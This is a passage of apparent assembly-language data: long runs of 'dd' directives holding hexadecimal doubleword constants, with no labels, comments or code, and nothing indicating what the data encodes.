0BB9EC700h, 0A1D981B2h dd 41805CD0h, 3AEEF9E7h, 7E027792h, 9A2CDF9Ch, 0B3DF61A0h dd 75F822h, 0E8E91954h, 0AE6B4878h, 0B50AAB3Dh, 7A802169h dd 4DFF7Ah, 47B76A5h, 102A0B7h, 0D2016BE8h, 7E3FB206h dd 3D70D69Bh, 3B39C066h, 1BA2C8D1h, 0E1F010Fh, 9688C0EBh dd 3E581Ah, 0D7B74752h, 0D575BE39h, 4F953C0Ah, 9080F807h dd 3FF344CAh, 9CD900CDh, 0C92476F9h, 8E1AB58Fh, 9B2932DCh dd 0A74FA078h, 2F100792h, 0D0315C0Bh, 8ADDCF5Ah, 13A09900h dd 0C229A494h, 0A62B1E7Bh, 39383021h, 6900D0A9h, 28E148C7h dd 0FA024Ch, 0BCBA4F2Eh, 538D1570h, 83522C06h, 791B43h dd 458BEF74h, 14F4E5EEh, 8393A606h, 0C621376Dh, 3C43CC30h dd 0CB0110D6h, 0EDC16D40h, 39419DC8h, 0A18F2806h, 0BE41D3ACh dd 40BCE494h, 0BA2CD4A4h, 80FC3139h, 0E9CB693Bh, 13FAA954h dd 3E1A0D8h, 1C70DB04h, 0D9D43FB0h, 1EF4C213h, 95C06070h dd 803CB1DFh, 0B36BECDEh, 4B1B577Bh, 0E848DDC5h, 4CA21773h dd 5C22103Eh, 0B9AAE237h, 49EB0980h, 13A801CFh, 69B2A112h dd 297930DCh, 0F20B958h, 0BFDAACEDh, 9A41DDC0h, 3D3ED930h dd 0B7380D74h, 9E28C000h, 0E61D1A8Ah, 44184214h, 0ED7E0990h dd 30C6886h, 2D890F1h, 2CD91E1Bh, 9C646EA1h, 0E6C9CC05h dd 7004F40Dh, 4083AAA0h, 0F855A19Eh, 0BCD35080h, 4F6BF47Ch dd 0F770649Ah, 422E38h, 5A22B37Eh, 53CF1BF8h, 0BA1F8CC6h dd 502D00ACh, 989E651h, 304A2324h, 0F830ED40h, 37F419h dd 9A027B86h, 0D4352B18h, 0E6B1C900h, 0E2792F2Ah, 0C4E000EAh dd 7CF09EBFh, 61C7E9A8h, 0C937388Fh, 46A6D6A0h, 0D1FC3A0Dh dd 0F0C1D3B1h, 0E7A9FCB4h, 0AB004CB2h, 3220E013h, 0EB7E05h dd 78069C48h, 29B9AA2Bh, 74CBD600h, 22F95264h, 285B0B93h dd 0BC13A65Ah, 8E37E7h, 4BCE63B4h, 5112BA0Ah, 0DB81E8A3h dd 0E082E196h, 0ED1DF4h, 94F45F02h, 252C8E6Dh, 0B304650Ah dd 268FB4FAh, 0BB774017h, 1E6354h, 239328D1h, 3E4EAD5Eh dd 9A987004h, 4480407Ch, 2829C0DBh, 4CE4A27Dh, 0C100F4A9h dd 0E0A4D71Ch, 0F15C71C7h, 0A6500060h, 128FDEA0h, 0E19214ABh dd 0B781B84Eh, 80B852CCh, 98F05E0Ch, 0EC6E2EBEh, 3F720A76h dd 8094E3A6h, 6275572Fh, 92000DF5h, 7AC8682Ah, 8F0548h dd 0DB51273Dh, 98FCEE18h, 6C547C98h, 0BE035B90h, 9153A5DDh dd 4C79E654h, 0C800CBF8h, 39B63ED6h, 7A7B6676h, 15130538h dd 0EA08E4Ah, 0A04088ACh, 28F1589Eh, 0E8860045h, 8F8932D3h dd 221157CEh, 6913F30Ah, 0CC4D15A3h, 542951C1h, 4BC020B9h dd 3C3F892Ch, 1F6F3583h, 233190AEh, 0C5961E55h, 1BAC8149h dd 427AB587h, 204009BDh, 483F2FA7h, 846448E9h, 90880522h dd 0FA5403E2h, 70BAD6CBh, 8FA4D1A8h, 381348h, 0E8F8CFB1h dd 2E50E47Ah, 0C00CE712h, 0AB8F1776h, 0D91F98B9h, 2686E749h dd 0F80954A8h, 68E424C6h, 0AA0A07EDh, 8070F77Fh, 0B359E077h dd 8200F0B9h, 0B02F54A2h, 0E5E900EDh, 0E719A7AEh, 4D2E7151h dd 3809040Ah, 51809C3h, 3C43AAECh, 0D1F406C2h, 90607E28h dd 74B11486h, 17278A5h, 6E184C1Ah, 280C473Fh, 24292194h dd 0D315038Ch, 0E2E36A7Dh, 3E8B7AA8h, 0A347AD00h, 74BD0941h dd 7C77F8C6h, 0CB7D03C2h, 0F990A0BCh, 0F526717Fh, 0B0008076h dd 4EC83322h, 0EC1317D9h, 1BF82043h, 2B16B8C2h, 6E01420Bh dd 0F1AAD43Eh, 50D9C30h, 0FF20CFFBh, 4065C741h, 9CF39EDBh dd 984EE605h, 944FE3ACh, 0F85340F6h, 0ECB663Eh, 0D59EEAB0h dd 35311EE0h, 680BA623h, 0F33F920h, 749F83A7h, 0A9DD909Bh dd 64B21Eh, 8FBBBCFCh, 0C632E310h, 0C8466600h, 0EFFAC795h dd 217E270h, 8931F073h, 9E231E74h, 6EA3C8BDh, 0D9060253h dd 0FBFF21D5h, 10EF08C9h, 0C20C1Dh, 4B3D2069h, 0AC7CD56Ah dd 0B6DC5F50h, 9B04C37Fh, 91547596h, 1FCF9491h, 8E6A807Bh dd 9E1E3EBAh, 9A42818Fh, 0C0EC98F1h, 6F43A474h, 0C6408904h dd 963972D9h, 676E6905h, 0D4D8E5E7h, 0CC17021Fh, 0F76988E0h dd 7F77BC00h, 6AF8EEh, 0ABC4522Bh, 46016B51h, 0A57E4A14h dd 1E1300E4h, 0AE7DD9ACh, 44B82CE9h, 1698BB6Ch, 77839A91h dd 0A8B99A68h, 0A095F960h, 63D50003h, 86646059h, 9AA12080h dd 20302101h, 3B48E97Fh, 5D9407C8h, 0D024E289h, 63128847h dd 1100FAA6h, 0DD4D726Fh, 5184B0Fh, 5FA4ACB0h, 0F0B5C379h dd 812FE900h, 7127681Ah, 733806BAh, 148960C3h, 14AE0E28h dd 0BAEE8800h, 9F819406h, 2FFD096Dh, 0C040308Ch, 3100B8E8h dd 113574D4h, 489CEB36h, 0B0402FEh, 0D0C1BFB1h, 38B3A9D8h dd 0E0C8091Fh, 0FF8C7424h, 29507036h, 80E89F9Ah, 2B22DC7Ch dd 3C0019DBh, 9B45D6FFh, 338C3B57h, 8750AB99h, 0EB03DA98h dd 5C913C07h, 1971C0E6h, 0D060D661h, 0F7CE4A7h, 0FF4D017Bh dd 46F0C3A0h, 752CD27Eh, 0F311F0F8h, 12801B1Eh, 0E29022E0h dd 0DC20D2C2h, 9EA81722h, 1F3D8901h, 0FBB35330h, 59F02980h dd 0C50DBD12h, 54257F05h, 42C05DF5h, 4A322167h, 691820D2h dd 460085BBh, 9E4F7DC0h, 6F9ED8Bh, 4A22CD6Bh, 800F9A8h dd 0E9BE0AF2h, 906D5968h, 0AF3E005Ah, 0B044FD17h, 0A65C86D9h dd 408426D0h, 1207A350h, 30EAE74Fh, 0AE6C9664h, 0BB063498h dd 0FCA9B413h, 4D2B0091h, 6F073081h, 0D31D4BEAh, 43C48C66h dd 60E26384h, 28006721h, 0B8875079h, 9C41004Eh, 994D8A1Bh dd 0A1C9601h, 6D405AA8h, 94C056CFh, 61E41D1Ch, 603D0393h dd 0E090B9BCh, 7E00111Eh, 217956CDh, 0ECE5ACh, 7C015F71h dd 3D0A4615h, 0F18AFD00h, 16A84495h, 24A9E207h, 0E3D45C6h dd 98A0D882h, 8D52AFE4h, 0CF00CBE2h, 2D76B6EFh, 61372CDh dd 440993D4h, 0DC39491Ch, 0A80780C7h, 4986171Eh, 0D42F0CAFh dd 1B208E63h, 0F506FA00h, 9E5B4E24h, 138B00DAh, 0FB47D6D2h dd 32CEDAFh, 891B1E0Eh, 0CA1AC031h, 96160085h, 29CEADCBh dd 6D606236h, 7AB01C21h, 36B7DB2h, 29E0BD75h, 539190D9h dd 6A8E063h, 0EC1123Eh, 8ECEDC61h, 0C5F8C06Eh, 0C35644B7h dd 50D30DB9h, 9A8219D3h, 7A323DE0h, 2054EC30h, 751893DDh dd 31253859h, 0EA85668Fh, 6FC13480h, 7F76CA68h, 0BCC63B00h dd 318329FEh, 0B20C055Ch, 4E4462FFh, 0FF9334E0h, 0E95C900h dd 0BF4548h, 0E3633D8Ch, 1C3A514Eh, 31526900h, 7D4828E0h dd 0EE81C0D2h, 320C1E8Fh, 737AF700h, 657C24B2h, 75F91802h dd 3BD76145h, 4F1F7D70h, 0A0C0BCEEh, 1ACED461h, 44900093h dd 133F0F35h, 0E35415E7h, 84546EB0h, 0F400A9A4h, 68586BA0h dd 26DA57DFh, 185D0F0h dd 62395D49h, 8A2880F7h, 4D927A45h, 739800EEh, 0D4FC4BAEh dd 44309F64h, 15C559E4h, 56D30060h, 8E61B754h, 0CE02E1AFh dd 401E97FBh, 47C480C2h, 4F09DAh, 2ADE77EAh, 417CB3E5h dd 0F2031404h, 2081D127h, 0A0CA441Fh, 0FFC532D4h, 0EA571C1Bh dd 0C090B779h, 37B3E9B7h, 7577EE00h, 52CDA23Fh, 1549294h dd 0BA081D74h, 0E9465AE6h, 91C980DCh, 5B3C7A70h, 8FBD288Ch dd 646ECC0h, 760D4CB2h, 2F0029D9h, 98567EE4h, 0BA51EBCDh dd 9C51FD6Eh, 44476097h, 5C88D5C4h, 1E20A062h, 2E68009Ch dd 760BC7D4h, 21600FE6h, 0A3F3A6D1h, 3CE80ECFh, 0C6A1CC08h dd 9E5D7693h, 3E404AB8h, 0B0DE86A8h, 9AD224ADh, 0E6EA417Ch dd 9466E082h, 0EB62771Ch, 0CCF312C0h, 60DF1A74h, 0BE612085h dd 181D1494h, 438050E5h, 0ADCA33AFh, 3E0C00F3h, 0D271CEC2h dd 9601A8BAh, 4DBD849h, 0A1874A45h, 40137E81h, 0BFAD6A63h dd 99F8001h, 0ABD994FBh, 3BA0C820h, 980A3DD7h, 9D848E5Dh dd 0C0485485h, 29D46900h, 5B3886E0h, 98729A0Ah, 1C409878h dd 0EF94531h, 56A2DB30h, 93BCDDC0h, 0E6244614h, 3540C079h dd 8EA80Eh, 19F3D0Fh, 0DED99E8Bh, 4402B6F0h, 78C6AD5Fh dd 73B8A0DBh, 3DBEF4DFh, 0FC802B71h, 4FC8F002h, 0D3002C5Ah dd 0C7631A61h, 0EAE672C0h, 4EA8A860h, 0CA2D017Eh, 75BD4D7Ah dd 8A19809Ah, 2910A777h, 3225004Ch, 0D4AF92ADh, 0F5607CCAh dd 0C5A3AAC9h, 0CFF0FA9h, 0FBE1ECBDh, 0D434A861h, 6B24E6EFh dd 0AC8A0CF2h, 24005463h, 0F4985259h, 9F30079h, 88933B71h dd 1377D943h, 24400490h, 13C9731Eh, 214F52E6h, 0B3EADED8h dd 97992849h, 35C119Ch, 213150C3h, 73A8DC68h, 0E92EE412h dd 4131AFE6h, 0E184976Eh, 8336B33Eh, 0B61EBA35h, 8679AAADh dd 503D91BEh, 0F9881F31h, 0F3B5C0C5h, 0F07DEAAFh, 3B21430Ch dd 754998h, 0B83F5A0Bh, 0DEEEC7E2h, 1FB7F600h, 0E5716B90h dd 7208906Fh, 0A9E06085h, 8B09D04Fh, 90AD6203h, 0D01E30AAh dd 7F0D9B92h, 5BA14C6Eh, 4B64AF06h, 0D41C89FEh, 2C805BDFh dd 32CB8B39h, 0ECF50035h, 82535701h, 9301E849h, 922A1F27h dd 3980F844h, 0B5061294h, 0B26F3F6h, 2600E1DCh, 64B14BECh dd 4A7800A6h, 0CBCD9ADFh, 0BA0FD472h, 2CE984FEh, 9197E183h dd 0B37E8370h, 0C900F378h, 3140C461h, 28C6B1FDh, 1472A2h dd 74C0CE75h, 0DE064C22h, 143AD0Ch, 0B80439F2h, 0DC0B5239h dd 39E97C18h, 9F025F38h, 82F494D7h, 0FA344479h, 0FE2400F7h dd 1027E01Eh, 0D03D8F8h, 75F65AAAh, 0AB4900DDh, 873FE066h dd 7C00D33Ch, 76E5CFADh, 3D481172h, 9458BFAFh, 0D58D1900h dd 928856CBh, 77E6BE0Ah, 0C1809828h, 0AABB13CFh, 9F021466h dd 3E0C8CE5h, 0D408CCF4h, 0B8D8EE2Ch, 74D6D301h, 94508163h dd 11E820Ah, 42BB70BAh, 3077CA3Ah, 0C4014D38h, 6C6BB9A6h dd 4881FC09h, 0E6EB4041h, 14883218h, 86900A44h, 0F9E479h dd 69F37004h, 851ED9A1h, 0AACCE900h, 3F867CABh, 0DC9606C1h dd 319859A2h, 2D80CB04h, 94827516h, 11802AF3h, 0CBA60154h dd 11DC128Dh, 19497698h, 0E700EC4Bh, 7FE665FCh, 0BA4606h dd 549468B6h, 5FA1E921h, 77FBE9C1h, 91E8E522h, 9CB300CBh dd 0E4C682BAh, 4898F57Fh, 5CCF845h, 4E0B2EC3h, 7C2648h dd 8DBAC95Dh, 30916F75h, 0E35EF500h, 506B5A12h, 174B4D4h dd 268F7EEh, 30E09016h, 1C2849BAh, 5A1E68EBh, 0CA41DB25h dd 4272D2CFh, 5C2DAC64h, 0D538D06Dh, 0DE7C978Ch, 0D000C7F9h dd 4E3DB02h, 46CE9Ah, 12150D01h, 6DF23D86h, 0C350794Ch dd 0C0CC8F96h, 0ED14EAh, 156B1A01h, 0D0EBEC4Eh, 1D07C800h dd 0FC2ABD99h, 44B0C2FFh, 3CC37A90h, 4CE463E2h, 5340B500h dd 0ACF3D0C4h, 0E9C700B3h, 942DC601h, 163C200Ah, 0A86F83E6h dd 0AAA2DF51h, 48E4A003h, 932D3C2h, 7598AA26h, 0B55BAC10h dd 4C785205h, 88201749h, 505A3771h, 7206076h, 52AEA9ECh dd 38B0D0EDh, 1FEDC44h, 0FACCD50Fh, 61B8E47Fh, 34A48C8h dd 6EADB207h, 0DFA89C5Fh, 1E2AE93Fh, 9FFEB0A3h, 0DCB6C4CAh dd 27008411h, 9AC3C672h, 6B024601h, 4943D039h, 4A644404h dd 323420B6h, 99001716h, 804BC4BBh, 289469F6h, 28C2D2h dd 6087D4A7h, 0CFCB9221h, 88E258h, 5B9497B8h, 0E2A7E41Fh dd 306150B2h, 5E390E25h, 3B80FD19h, 0EE7CEF66h, 0CC031C90h dd 7B0AF785h, 2831F676h, 8783E7h, 71CB050Dh, 434B99B3h dd 0D14DAB07h, 0C627F991h, 0E419A783h, 3ADAA0C8h, 2080BE40h dd 94649B25h, 797EA238h, 0CE43E900h, 111EAB17h, 0C9856262h dd 10C0D3DBh, 4B001323h, 65EB702Fh, 0A0C9D5Fh, 550185CBh dd 93AB01ACh, 0C256751Ch, 68F07440h, 79474B30h, 7AA8478h dd 1C6A6970h, 3F0F809Eh, 0DB2E1674h, 40044025h, 988044EDh dd 9871864Ch, 54602128h, 94800110h, 0CEF4817Ch, 9BF4E01h dd 0ED48127Dh, 0E60C9C32h, 0A6392264h, 90B9C905h, 64D25347h dd 86148163h, 6670C4F9h, 0DC70038h, 3266B2B5h, 0E6244273h dd 5040FC61h, 125A889Dh, 909BD227h, 7B42AF0Ch, 9F9C6F58h dd 0BEC6600h, 45D26Ah, 0E6EE8384h, 0D89A1CE4h, 29823C36h dd 7F440622h, 0E1D37A51h, 5F001CE0h, 0BDC58374h, 9F510h dd 7033797Fh, 13BEF26Ch, 94A97328h, 4558780Bh, 0C3DD079Bh dd 7A0D2410h, 618F6076h, 2ABC139Ah, 28F3A401h, 810CC7E5h dd 1B88060h, 88E35BE1h, 407462A0h, 48C598D8h, 806C4B48h dd 0A70BB967h, 3B6201D5h, 3EB96D0h, 0A9DBECD3h, 29554433h dd 0EA3B9037h, 79A80049h, 0CC53D719h, 3912EF28h, 3C01A51Ch dd 86D4D20Bh, 72E49985h, 825C8022h, 9899C3E9h, 0E4906512h dd 70D4440Dh, 0B32B3E3Dh, 0D03E0292h, 25F80A18h, 409AA00h dd 0E0BCAD33h, 0D1A12C17h, 60F160E0h, 0FC00C64Ch, 2BE0C13Bh dd 0BAF32ACh, 76D1D2A6h, 1DEACC18h, 2EFD2C00h, 60E751DFh dd 9B69C029h, 0EB4B4CADh, 9DE9F4A8h, 0C43D7D00h, 0FB6AB136h dd 0FF875099h, 6E5F0378h, 9C74A2E1h, 403D592Ch, 0CD19E14Eh dd 54700690h, 5C278B5h, 7D96CE93h, 8F7C8088h, 0CC913E07h dd 0F41E5D00h, 0F95CA1h, 328E296Ch, 0C2DE563Ch, 671CD971h dd 44C6E7BEh, 0F1F605h, 2EA48393h, 27DC0E08h, 0C6AB9A00h dd 0D3E3A25Ah, 494C51h, 0E618A470h, 0A4A79028h, 0C7EC0390h dd 0BA8E11C5h, 23CAE590h, 9A247300h, 8CBFE87Dh, 0A94C4CCDh dd 44FA2C09h, 64CE34E8h, 0D3E17C00h, 17F4A177h, 7C23E605h dd 4E320125h, 0E92BC899h, 2872C2h, 35D671EAh, 2C455697h dd 3094BBh, 4174CD62h, 792986E9h, 5800E4EBh, 4AFA1739h dd 0BD4B0378h, 4902C1CFh, 7C83A788h, 0A254D835h, 0CAC5A040h dd 9E530h, 4CC38B2Fh, 3E76A201h, 0FC48E601h, 0E45F302h dd 5393470h, 65228E6Bh, 278C40F8h, 9EEF53F9h, 937C0D3Ch dd 1C0105FCh, 28835039h, 0BA27DCh, 0E0B39E40h, 0BD760191h dd 6D6CB201h, 632CFEC2h, 0E4E7E2F2h, 25B60070h, 0DC4CEB20h dd 370378A1h, 7A62427Dh, 0A7E880A5h, 90A27340h, 42C0054h dd 3174E42Dh, 0E63DA67Dh, 9B496015h, 0B82726Bh, 677825BBh dd 8FC00018h, 0D6C4DB00h, 44F7B6DDh, 35D700B9h, 7CD817EEh dd 6491BCA6h, 0AD8280BFh, 48620772h, 0E64701B7h, 8910F537h dd 6559F8A3h, 9BC4144h, 0C454C6A0h, 9D21B901h, 19DBD845h dd 52F8710Bh, 0ACE8907Ah dd 0E24D4CD0h, 2A828E03h, 71009AE9h, 7B88181Bh, 37E697D0h dd 87D12D0Fh, 531C83D2h, 76731117h, 0A3E53020h, 34AA26F0h dd 0FFBC0074h, 306FB91Dh, 2DD33B00h, 42101164h, 21814AE7h dd 0F9DDB270h, 339470A3h, 64631828h, 0E1F8DE00h, 9A95C80Dh dd 49CB031Dh, 0FFCE2A4Ah, 0E8A63E98h, 45381962h, 3AC87263h dd 8501D95Bh, 0B4E95761h, 5A94307Ah, 44941508h, 8C078021h dd 0AE9F69EEh, 0C60789E0h, 0E62861E0h, 0B9D2F5F0h, 65563DA0h dd 1491EB00h, 4F88AAA3h, 0BFA74419h, 0B08B5450h, 6C1078E6h dd 35008E24h, 0C81CA0BBh, 50534Dh, 0C126DE8Ch, 15F9B9D1h dd 795D930Ah, 4480C0F6h, 16C05899h, 0BBE200EFh, 4F048680h dd 3D0985C6h, 8D4A2A35h, 0BBF05ABCh, 0FBD30019h, 0B2BAE905h dd 0C14825E3h, 8091005Ch, 28C94409h, 52E73047h, 0C4B49561h dd 1D12CA0Ah, 0A947AC76h, 0B00F20A0h, 16A33A2Bh, 596D9380h dd 0B7E977F3h, 826C7C58h, 0E0107F63h, 0EEFB4Ah, 7B8B423h dd 3664E508h, 2034F726h, 985B5807h, 0BCC444A0h, 289A32CEh dd 0C0812698h, 808F7CA0h, 0ACF6B391h, 0B96346A3h, 16E100B4h dd 7D419E22h, 2421FA09h, 27C8235h, 874B25F9h, 1D031086h dd 9F006462h, 54CFDF8Bh, 0B581BFh, 0FC19D501h, 0DC32693h dd 213DAA2Dh, 0B8C26680h, 0E0D49171h, 0CFCC00CBh, 1712DA31h dd 0C600A577h, 0CE7C26FFh, 2C15ABC0h, 0C98F462h, 47A18B9Bh dd 6B1E7503h, 249616E0h, 119483D8h, 5B971260h, 4A499488h dd 2084200Ah, 1F00CEC8h, 94270EC6h, 4A73A14h, 93D42A72h dd 0D98C87Ch, 0C3C2D800h, 3BBE659Fh, 0DAD52A82h, 0CF311E10h dd 0EC5E003Dh, 0D15167E2h, 0EC01682Ch, 22ACAB0Eh, 0A37FDE43h dd 0E079F0h, 490A4B39h, 973766AFh, 6B84E301h, 0E5C62BD6h dd 0E4875C28h, 24AF2016h, 0E7005542h, 0CCF80705h, 24473D74h dd 0E8AC34h, 0ABB0467Bh, 12648E98h, 4480D909h, 3143AA7Eh dd 451ECEDh, 6A43245h, 0C67A3F1Ch, 1C2F8D4h, 3DD05B93h dd 0E098DD61h, 8182044h, 2570FE86h, 0E67804C9h, 0C7019E5Ah dd 108EB648h, 3FBD5F02h, 61BECFCBh, 80142740h, 8CED5020h dd 0CB07ADE6h, 0CA35F07Eh, 0DB5CC660h, 1CAF0544h, 76ABACh dd 6FB36378h, 0B80024CBh, 0F9818C0Bh, 2EA972FAh, 4978D5D2h dd 0CC3E7484h, 491CD92Ch, 0CC701292h, 0FA505Eh, 1561A6EAh dd 77600C31h, 5BDC2500h, 50D7C6EEh, 42644AE7h, 0F778BB80h dd 603B420h, 0C6E0A7h, 69656208h, 1FE3BA7Fh, 58BE0C26h dd 44C49204h, 4900C0A2h, 17962F81h, 2A015D2Eh, 0F7CD4A6h dd 5C3D75F7h, 6B01193Bh, 0C9FA54FDh, 787961h, 3DC52564h dd 0E6F91Eh, 7ACA9793h, 6188DD0Bh, 770EB900h, 0D572716Eh dd 0B6670AABh, 0E7CA6D2h, 0EFC17CEDh, 3076061Fh, 0E9243280h dd 0CD41909Fh, 402952E6h, 94216E25h, 0F87950F6h, 0E0787C5Dh dd 1A0580h, 340E5AEh, 0ACCFD0Eh, 0EC3BE328h, 99F89360h dd 2ED4A0D3h, 177D4CB3h, 0FF14881Dh, 0D3435A00h, 0D78DF421h dd 3E83005Dh, 47FEAD8Fh, 0FCA06518h, 1307CCDDh, 9356CDB1h dd 6F847446h, 3BE0A12Eh, 3493F69h, 959F561h, 5C449BD2h dd 0B844E4C0h, 0DD7C2A8Bh, 5BB200E0h, 0FBA43697h, 642C8059h dd 6300D293h, 163C8C95h, 92082F5Ch, 60970C18h, 758F2C94h dd 0CA64E5A7h, 7C9484C1h, 3C30AEDDh, 44165044h, 4EC7F80Ch dd 3C9C4061h, 0FCC4D78Ch, 9BFC000h, 0E2709AB4h, 2B3EC42h dd 0E9253CDBh, 8519471h, 2B855000h, 0B291D88Dh, 9E430F7Ch dd 4120B827h, 71989255h, 0D2F161C1h, 9C34EFD1h, 397401ADh dd 0B8705DE7h, 3A20396Eh, 21BA2473h, 0FF0C6100h, 1828A392h dd 40E7DD7Dh, 0CC92A9BEh, 0C7BC094Ch, 6F000257h, 1860CC1h dd 14756205h, 0EC0F66BAh, 77ECC3Fh, 48524003h, 254377E7h dd 2CA06EC1h, 711D1692h, 23CA631Dh, 0CC015DC4h, 0CD9CF280h dd 3BE6FA12h, 0A2383E82h, 7FD2F281h, 0F45B14FBh, 625C571Ah dd 239E804Ch, 0FFF9E2h, 0D65FEB86h, 0E4B33882h, 2FACC800h dd 1471F40Eh, 1E1522E7h, 0FF018079h, 727355FDh, 0D02D3C41h dd 0F2EC5200h, 0E82654E9h, 0B6631A00h, 8CADB38Eh, 3C073DD8h dd 0EB721604h, 0C600CCE6h, 20206E5Bh, 777FE2D7h, 0FE50F47Dh dd 16E9F059h, 379976ACh, 7E470D4h, 0C0176D2Eh, 1C0BF07Ah dd 0E605F7E1h, 76DC0F2Fh, 5B4C4E80h, 95120921h, 309675A3h dd 0B21000C4h, 518F6834h, 6100B642h, 0CAA3A84Bh, 953B7175h dd 0CC461411h, 843E3698h, 31A60048h, 0A2528A5Ah, 7D5E005Ch dd 0D19FEC2h, 965044FDh, 8200E0ECh, 31BD15E9h, 0B47ECAh dd 0D1BCA53Bh, 7613A686h, 1C34E649h, 7180ACDFh, 709D9ECCh dd 9C8E018Dh, 793DE014h, 0E42976h, 1A1E55A0h, 3443A5F7h dd 0E319F404h, 78DE0824h, 93CB8EDDh, 0B65D8E0h, 6A741FC1h dd 3AFF0D12h, 57878837h, 9DADBB80h, 0BD760007h, 0D0A184CFh dd 6CB09470h, 0A91AF478h, 40C8A743h, 910FE644h, 70E83704h dd 0DEB0798h, 1980CB00h, 9BA7635Eh, 403D4ED4h, 0F459B8A8h dd 0F90709B7h, 0D17D0C7Bh, 28C4B9h, 692676CFh, 0BE5F0E5Eh dd 0FA88870Fh, 290180ECh, 5B752C77h, 81105E79h, 9127E24Bh dd 0D1B7F0AAh, 37770700h, 38408374h, 0CD170203h, 70F6244Bh dd 0E06290C1h, 803AB2A7h, 1FD500FBh, 0CFC6E092h, 407C5FF1h dd 477F8EE0h, 67008293h, 687B2759h, 246BD7B8h, 0BBB0144Ch dd 7591A909h, 51B87813h, 0E007B5E1h, 5511C490h, 0C7FB7870h dd 0A49E0301h, 0C39736D0h, 0D0E0A5D5h, 213A9142h, 116901D7h dd 34A5190Ah, 0B0C806EEh, 74CD7A03h, 0A07DC946h, 1237FAh dd 0FEBCA02Fh, 0E4517167h, 0C43E7225h, 0E8B80058h, 0B714DB0Ch dd 5300C680h, 2A64CB56h, 286D99Fh, 38839443h, 0D8567CF4h dd 65CA5980h, 9C08D1h, 3983D5Bh, 0B056A95Ah, 129574ECh dd 0C03D4280h, 0C9FB11DCh, 4C8E3EA0h, 72CD8F80h, 10EB3C42h dd 84FB73h, 98D26AF3h, 4AE291B0h, 3485600Eh, 0D5A4803Eh dd 9073B311h, 20675BD0h, 0D719D2E4h, 34E9B500h, 4F563FC9h dd 96F2031Fh, 0F01C4946h, 45722900h, 7D63D3E5h, 2123B9Ah dd 4050A12Ch, 22293AD5h, 44B6FC25h, 3C69000Ch, 0DBE10C8Bh dd 0A609C2C3h, 0F9DECh, 92253760h, 1CE71B46h, 0DC98311Ah dd 4C037EA6h, 0D4338E97h, 2CF802DAh, 3CEF7A0Bh, 0F380BC90h dd 0B3684700h, 300EF6B4h, 298EA5Ch, 34E4F75Ah, 18E1ABB9h dd 2C031089h, 0E8994Bh, 70A7C84Fh, 62001A5Ch, 72F94108h dd 1EBACCDh, 0CAECCE74h, 2975938Dh, 0CF3D00A8h, 2C9E7032h dd 0A2BB167Fh, 2358675Dh, 1100F77Ch, 0D8577F37h, 0ED3A2h dd 87CA8318h, 0FEBD5CE1h, 9382F48h, 44D20C8Fh, 669725E8h dd 48A9h, 0CCF7A8DDh, 0A07D1E25h, 9848137Ch, 35F4E31Ah dd 60370034h, 0CD2E9ED1h, 2A17801Ch, 0E820768Bh, 0F9C2C09h dd 878CD060h, 87ACBCE4h, 0B8E9E464h, 0C8409344h, 8CDABF98h dd 56EA1Dh, 40CCB33h, 63D4F82Eh, 0E351F109h, 0FF601079h dd 5FFA00D9h, 22E45C46h, 40EA7853h, 503C510Bh, 73AD8092h dd 585DB7A7h, 9024E4CCh, 0BCCA0043h, 0A69937D3h, 0DD0401F8h dd 137473FAh, 0E85448C7h, 27006CA2h, 9E452B89h, 300015D3h dd 0C6D0D74Ch, 29F0A7CBh, 0BEB8EB74h, 1A0C000h, 0CD12D6E8h dd 0EB917100h, 49B81023h, 28EC3D3Ch, 1B22B8DCh, 96BA40A0h dd 0E4202EE3h, 2F6DA9Fh dd 48319909h, 0ECD279FAh, 5F971901h, 0A81F74Ch, 8410A231h dd 86613Fh, 5FDF2809h, 0C6ED4CADh, 57AAB702h, 523E0314h dd 961A0094h, 0B4267248h, 80042775h, 3959E986h, 431238C0h dd 0D2AA0935h, 107A9BD0h, 2DE044h, 9F9EC8ABh, 0F16C1922h dd 219D1207h, 8F10D17Eh, 585CBACh, 6E5D522Ch, 0D8708963h dd 0E70064CDh, 0DC9B5017h, 3B3D23Ah, 87CE0DFBh, 62A96048h dd 402D3Bh, 91C5CF4Eh, 2E6A16EEh, 3436974h, 385F6268h dd 1544A807h, 7239E6C2h, 78B81134h, 0FAA400F8h, 0B44D7659h dd 0BA017243h, 53E62D18h, 0E4631825h, 0E9B82F6Ch, 0C52EBB00h dd 868857Dh, 0F63B1ECEh, 0CD190014h, 9C2B6B56h, 0B398E27h dd 7538C4DCh, 69E0005Fh, 8141AAA5h, 3B00C60Ch, 0CC08E80Ah dd 3CD61Dh, 0C19BF21Ch, 6BC7E930h, 5C9779C6h, 0B9DCA099h dd 9F910093h, 0CE14E0BCh, 777472FAh, 206CBB55h, 820A6716h dd 90CFCB98h, 0BF12700h, 4E130154h, 48248050h, 0FA043D4Ch dd 3EB94378h, 23104A0h, 448D1A0Bh, 0D5C02FA7h, 4F789151h dd 89420534h, 0AB8114B8h, 0E4FEFA99h, 0E80055E3h, 729D78CEh dd 950B49E6h, 6392EC18h, 0D382AC9Ch, 0E1EF0953h, 41C23CBDh dd 7BD8B0A4h, 89B23AA2h, 60C09A2Eh, 0DCCC92FCh, 17A99B00h dd 6EBDFD62h, 0E53E1F0Bh, 0DB1F8059h, 0D099ADB4h, 24FE373Ah dd 0F440787Ch, 0A5E63Fh, 6F6A2664h, 58DB91ACh, 534C3E02h dd 20FD4B69h, 5B2ED579h, 6C7DA300h, 6D91E0BDh, 0B71E006Ah dd 2B3326EBh, 492FD42Fh, 5FB09CDEh, 48CDE961h, 5772C180h dd 0DE8939Dh, 0F47B1Ch, 0C5A4EDEh, 0BDEDCE21h, 0F9BBF307h dd 3650DD15h, 11DEE3h, 0DF55BC89h, 70A166B2h, 0CB192907h dd 5E3E2C90h, 7DDDC880h, 0BC79DFh, 0D53F6DE7h, 475EABC7h dd 0DEF54613h, 528B3F00h, 6C0F819h, 4EA85C7Eh, 1800587Ah dd 0D9DB45C9h, 397194DAh, 0E00C0DDh, 172D09B0h, 637EF4A0h dd 0D7A1A918h, 0A37988h, 896B98E8h, 0A72A88C3h, 1002A504h dd 544081E4h, 67EBF023h, 66CB5F0Fh, 60EDE1C4h, 9A30A051h dd 8B714Dh, 0A95D8578h, 0BADCE35h, 5E14CF00h, 0EDEC8D54h dd 83670041h, 780DEF2h, 0F701FF96h, 268B8AF4h, 0D4F0F171h dd 7C1301D5h, 0A537ABE2h, 0E0A1873Dh, 5C90C4E6h, 1502BAAh dd 6EFC0A6Bh, 0D6F3BE7Bh, 3379A8A0h, 0A130B3EAh, 0C37811DCh dd 585B01A0h, 488CFAA7h, 